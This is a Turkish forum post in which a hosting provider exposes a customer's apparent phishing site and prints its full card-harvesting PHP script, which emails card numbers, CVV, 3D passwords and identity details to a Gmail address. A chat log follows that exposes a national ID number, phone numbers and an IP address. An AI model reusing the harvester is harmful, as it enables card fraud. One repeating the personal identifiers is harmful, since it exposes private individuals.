Geçen ay vps alan bir müşterimizin ödemesi 1 hafta geciktiği için hesabını suspend ettim. Kendisi msn'e geldi ve ödeme yapacağını köyde olduğu için arkadaşına yaptırabileceğini söyledi. Ödeme yaptılar ve daha sonra ip adresinin değiştirme talebi bulundular. Nedenini sorduğumda canım öyle istedi tarzında bir cevap aldım. Sonuçta burda para kazanmak için iş yapıyoruz. Müşteri'nin VPS'i Virtuozzo olduğu için file manager üzerinden ne kurduğunu inceledim. Kendisi biletix gibi bir site yaparak fake websitesi yaratmış ve milletin kredi kartı bilgilerini kendi email adresine gönderiyor. Kod örnekleri ve msn konuşmalarını aşağıda görebilirsiniz.
3d.php dosyası içeriği.
<?php
$a = $_POST["TelefonNumarasi"];
$c = $_POST["bankaadi"];
$d = $_POST["ccname"];
$e = $_POST["tckimlik"];
$f = $_POST["dtar1"];
$g = $_POST["dtar2"];
$h = $_POST["dtar3"];
$i = $_POST["kizlik"];
$j = $_POST["kartno1"];
$k = $_POST["kartno2"];
$l = $_POST["kartno3"];
$m = $_POST["kartno4"];
$n = $_POST["cvv"];
$o = $_POST["musno"];
$p = $_POST["sktay"];
$r = $_POST["sktyil"];
$s = $_POST["ksifre"];
$to = "soysalguven@gmail.com";
$subject = "Müþteri Geldi";
$mesaj = "
Lütfen Bankanýzý seçiniz : $c
Kart Sahibinin Adý/Soyadý : $d
Musteri Numaraniz : $o
Anne Kizlik : $i
Kredi kartý numaranýz : $j $k $l $m
Güvenlik Numarasý (CVV) : $n
Kart Geçerlilik süresi (Ay/Yýl) : $p $r
Kart Þifresi (3D) : $s
";
mail($to, $subject, $mesaj);
?>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-9" />
<center><img src = "pos.gif"><br><br><b><font face="verdana" style="font-size: 10pt" color="blue">Lütfen Bekleyiniz...</font><p>
<font face="Tahoma" style="font-size: 10pt" color="blue">Kredi Karti Ödemesi için POS Sistemine Baglaniliyor.. </font><br>
<center><img src = "pos2.gif"><br><br>
<meta http-equiv="refresh" content="2;URL=error.php">Hemen ardından vps şifresini değiştirerek sisteme login oldum ve aşağıdaki gmail hesabı önümde açık duruyordu.Resmi kaldırdım.
Msn Konuşmaları:
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: telefon numaranız nedir Muhammed: 5395215263 - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: <?php $a = $_POST["TelefonNumarasi"]; $c = $_POST["bankaadi"]; $d = $_POST["ccname"]; $e = $_POST["tckimlik"]; $f = $_POST["dtar1"]; $g = $_POST["dtar2"]; $h = $_POST["dtar3"]; $i = $_POST["kizlik"]; $j = $_POST["kartno1"]; $k = $_POST["kartno2"]; $l = $_POST["kartno3"]; $m = $_POST["kartno4"]; $n = $_POST["cvv"]; $o = $_POST["musno"]; $p = $_POST["sktay"]; $r = $_POST["sktyil"]; $s = $_POST["ksi nedir bunlar $to = "soysalguven@gmail.com"; $subject = "Müþteri Geldi"; $mesaj = " Lütfen Bankanýzý seçiniz : $c Kart Sahibinin Adý/Soyadý : $d Musteri Numaraniz : $o Anne Kizlik : $i Kredi kartý numaranýz : $j $k $l $m Güvenlik Numarasý (CVV) : $n Kart Geçerlilik süresi (Ay/Yýl) : $p $r Kart Þifresi (3D) : $s "; kredi kartı mı topluyorsun bilişim e sunucu bilgilerini gönderiyorum hakkında yasal işlem başlatıcam Muhammed: DAlgami geçiosn sen - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: kontor dolandırıcılığıda var galiba Muhammed: Kardeşim sen dalgami geçiosn biz yillardir yasal kontör işi yapiorz tüm ewraklarımı gösterm sna - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: gönder bekliyorum 1 saate kadar scan edip gönder Muhammed: were wer vps imi - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: yoksa gayrettepe bilişim suçlarına mail atıcam ispat et Muhammed: Yahu gayrettepe vatan ben 50 yildir gidip qelirm e2servers el değiştirdi böle oldu ben sizle yi lyillardir calisiorm eski arkadaşı ara sor ben köydeym köyde oldgm için size ztn parai gönderemedm başkasndan yardm istedm sana köy yernde scanner nasl bulaym kardeşim buı attgn kodlarda cok eski - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: milletin kredi kartı bilgileriyle Muhammed: postan mail orderle - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: kontor mu alıyorsun Muhammed: qeçiriyoruz - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: adres ne satış yaptığın hemen söyle hemeeen Muhammed: Telefonunu werirmsn ariym şaka bu heralde - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: bırak sen telefonu Muhammed: posumuz olmadigi için mail order Yöntemi ile biz yüklüorz - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: tamam nerden satıyorsun göster bana adres ver ? Muhammed: bkle fotoğraf paylaşma etkinliğini durdurdunuz Muhammed: Sen bnm izinsiz olarak vps'me ve mailime girdin. İllegal suç işleyen suan sensn bir kontör firmasının bilgilerine izinsizce girdin bilişme polise mahkemeye bizim vermemiz lazm - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: sen bana ispatini göster geri vereyim websitesi göster diyorum satış yaptığın nerede ? Muhammed: bkle - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: bekliyorum zaten 5397026741 5397093813 5397059894 5397060513 5397043597 5397010471 5397075539 5344275096 Muhammed: müşterilern numaraları onlar kontör istegnde bulunan yuklecell.net gir pardon yanliş yazdm Sen bnm vps'imi geri vermiomsn? - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: evet bi websitesinin adını yazman bu kadar zor mu Muhammed: Sen bnm vps'mi yada parami geri vermiomsn? - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: paranı iade ediyorum şuanda bilişim e de mail atıyorum Muhammed: tamam - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: giriş yaptığın tüm ip adresleri dahil Muhammed: parami qeri iade et Mahkemede görüşürüz Bende gider gitrmez - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: dolandırıcısın Muhammed: savciliga gidiyorum - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: daha websitenin adını yazamıyorsun Muhammed: Görücez kim dolandirici yazmak istemiorm - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: tamam hadi bakalım Muhammed: sna paylaşmak zormu paramı qeri iade et sen o hesaba - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: ip kayıtlarını alıyorum daha sonra teslim edicem Muhammed: AL fARKETME< - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: pazartesi ararlar seni Muhammed: ada soyad da werebilirm - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: User Name: Administrator Domain: MUHAMMED Logon ID: (0x2,0x90B0E158) Session Name: RDP-Tcp#1 Client Name: MASA-06 Client Address: 78.181.98.104 Muhammed: Client Name: MASA-06 - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: Caller Domain: WORKGROUP Caller Logon ID: (0x0,0x3E7) Caller Process ID: 31116 Transited Services: - Source Network Address: 78.181.98.104 Source Port: 1320 Muhammed: Parayi geri iade et bekliorm hadi - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: vps ini geri vericem bekle kayıtlarımı alayım Muhammed: yok parami geri istiyorum hizmetinizden memnun kalmadm kayitlarni ben werim - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: git dava aç Muhammed: Muhammed Ali öztürk tckimligim bekle dava açicam - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: ver bakıcam Muhammed: zaten - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: web siteni Muhammed: avukatlara bir ton para verioruz - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: veremiyorsun bile Muhammed: Avukatlarn yedigi parann adli hesabı yok yaptklarıda bi ok yok ben kosturmucam o koşturucak bkle - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: ver ver tc kimlik numaranı ver ispat et karşında cocuk yok ayda 2 3 kez böyle kişileri ihbar ediyorum ben Muhammed: farketmez 10139449540 al tckimligm ikametgahmıda wereimmi - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: bekle sorguluyorum Muhammed: telimi fln kardesm servetr.comdan aldm vps gerek kalmadi istemiorm diorm parami qeri iade edermsn ? - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: sistemden ticket aç 3 iş gününde paran iade edilir Muhammed: ne demek 3 iş günü ticket micket açamam biz sana anında attık parai anında istiorm Log aldm r10 turkiyeforum 50 yere yazicam hem dolandırıcılık damgası yiyelim hem paramizi al hemde hakaret et - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: ben sana diyorum Muhammed: tAzminat davası hakaret davası ne varsa - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: websitenin adını söylermisin Muhammed: sana açıcam kimse kimseye bişi söliemez sen kimsnki ben sna sölicem dewlet memurumusun hesap soruosn sana bişi spat etmek yada sölemek zorunda degilim varmı sözleşmende böle bişi Cok sinirlendm cok istanbula dönmiym Muhammed size bir titreşim gönderdi. Muhammed: alooo Muhammed size bir titreşim gönderdi. - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: biraz beklermisin Muhammed: kardeşim iyimisn sen ? canınmı sıkıldı noldu ? - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: servetr den mi aldınız cihan bey'i ariyorum uyaracağım kendisini Muhammed: bunuda kayt alşdm ALdm Almadm alicam msn ekledm adamlari Muhammed size bir titreşim gönderdi. Muhammed: parami qeri iade ediomsn Muhammed size bir titreşim gönderdi. Muhammed: Yahu sinirden öldürcekmsn beni ARkadaşm parami iade edermisin paramı gasp ettin - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: geri iadeni yapıcam öncelikle biraz bekliceksin e2servers paramizi gasp edior: yahu Neyi bekliorm Sen iade et ondan sonra - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: ben seni 10 gün bekledim 2 saat beklersin e2servers paramizi gasp edior: Naparsan yap Alla alla dalgami qeçiosn Muhammed: werirmsn para iadesini Muhammed size bir titreşim gönderdi. Muhammed: kardeşim para iademi yaparmsn Muhammed size bir titreşim gönderdi. - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: hesap numarası nedir Muhammed: SAna nerden geldigini bilmiomsn ne bilim ben arkadaşa rica ettim o yolladı alla alla - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: göremem arkadaşından rica et bana mail atsın geri göndereyim bende admin@e2servers.com Muhammed: MAile gerek yok bekle başka arkadaştan alicam hesap no ona at - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: mail istiyorum Muhammed: KAfayimi yedn sen amacın ne - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: dediğim gibi email atıyorsun Muhammed: atarm problem degl anında yollıcakmsn ? - E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!: hesap sahibi adi muhammet ali ozturk olarak istiyorum yani senin. Muhammed: KEs *** sesini olm warya gelirim senin yerine Anam awradımı siksinlrkiKendisine gönderdiği ücreti iade edeceğim. Ayrıca bu konu linki dahil tüm screenshot ve diğer kayıtları yetkili kişilere göndereceğim.
